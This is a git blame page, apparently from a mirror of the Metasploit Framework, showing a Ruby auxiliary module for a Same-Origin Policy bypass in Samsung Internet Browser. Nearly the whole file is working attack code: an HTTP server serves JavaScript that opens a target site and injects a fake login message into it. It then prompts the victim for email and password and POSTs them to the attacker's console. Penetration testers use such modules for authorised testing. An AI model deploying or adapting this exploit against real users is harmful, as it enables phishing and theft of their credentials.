infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
metasploit-framework/modules/auxiliary/gather/samsung_browser_sop_bypass.rb

107 lines
3.6 KiB
Ruby
Raw Normal View History

Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(
update_info(
info,
Update browser_sop_bypass.rb
2017-11-08 07:08:37 +00:00
'Name' => "Samsung Internet Browser SOP Bypass",
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
'Description' => %q(
Fixed up description to be descriptive
2017-12-08 18:24:58 +00:00
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the
Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices.
It initiates a server-redirect to a child tab using the document.body.innerHTML
function, which causes the child tab to create a fake pop-up. This pop-up prompts the user
for a username and password which appears to originate from the targeted URL's domain. Once
entered, the credentials are passed to the parent tab as well as stored locally.
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
),
'License' => MSF_LICENSE,
'Author' => [
Update samsung_browser_sop_bypass.rb
2017-12-12 10:22:55 +00:00
'Dhiraj Mishra', # Original discovery, disclosure
'Tod Beardsley', # Metasploit module
'Jeffrey Martin' # Metasploit module
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
],
Update browser_sop_bypass.rb
2017-11-07 15:59:16 +00:00
'References' => [
Update browser_sop_bypass.rb
2017-11-07 15:43:06 +00:00
['URL', 'http://fr.0day.today/exploit/description/28434'],
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
],
Update browser_sop_bypass.rb
2017-11-08 07:08:37 +00:00
'DisclosureDate' => "Nov 08 2017",
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
'Actions' => [[ 'WebServer' ]],
'PassiveActions' => [ 'WebServer' ],
'DefaultAction' => 'WebServer'
)
)
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
register_options([
OptString.new('TARGET_URL', [
true,
"The URL to spoof origin from.",
Update samsung_browser_sop_bypass.rb
2017-12-12 10:22:55 +00:00
'http://example.com/'
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
]),
OptString.new('CUSTOM_HTML', [
true,
"HTML to display to the victim.",
'This page has moved. Please <a href="#">click here</a> redirect your browser.'
]),
])
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
end
def run
exploit # start http server
end
def setup
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
@html = <<-EOS
<html>
<meta charset="UTF-8">
<script>
function go(){
var x = window.open('#{datastore['TARGET_URL']}');
setTimeout(function(){
x.document.body.innerHTML='<h1>Please login</h1>'+
'<p>Oops, something went wrong. Please re-enter your username/e-mail address and password.</p>';
a=x.prompt('E-mail','');
b=x.prompt('Password','');
var creds=JSON.stringify({'user':a,'pass':b});
var xmlhttp = new XMLHttpRequest;
xmlhttp.open('POST', window.location, true);
xmlhttp.send(creds);
}, 3000);
}
</script>
<body onclick="go()">
#{datastore['CUSTOM_HTML']}
</body></html>
EOS
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
end
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
# TODO: This does not actually save the credential, since it's gathered from the user
# and there's no real solid way to associate it with the domain part of the target_url.
# Suggestions welcome if this should be saved with store_loot or just make a guess on the
# target.
def collect_data(request)
creds = JSON.parse(request.body)
u = creds['user']
p = creds['pass']
print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
end
Actually collect the creds, sort of Instead of an alert() (which the attacker won't see), this collects the offered credentials in a POST action, and displays them in the console. This should further store the creds somewhere handy, but this is good enough for now for testing from @RootUp
2017-12-08 19:51:02 +00:00
def on_request_uri(cli, request)
case request.method.downcase
when 'get' # initial connection
print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")
print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")
send_response(cli, @html)
when 'post' # must have fallen for it
collect_data(request)
else
print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
end
end
Create browser_sop_bypass.rb
2017-11-07 08:54:50 +00:00
end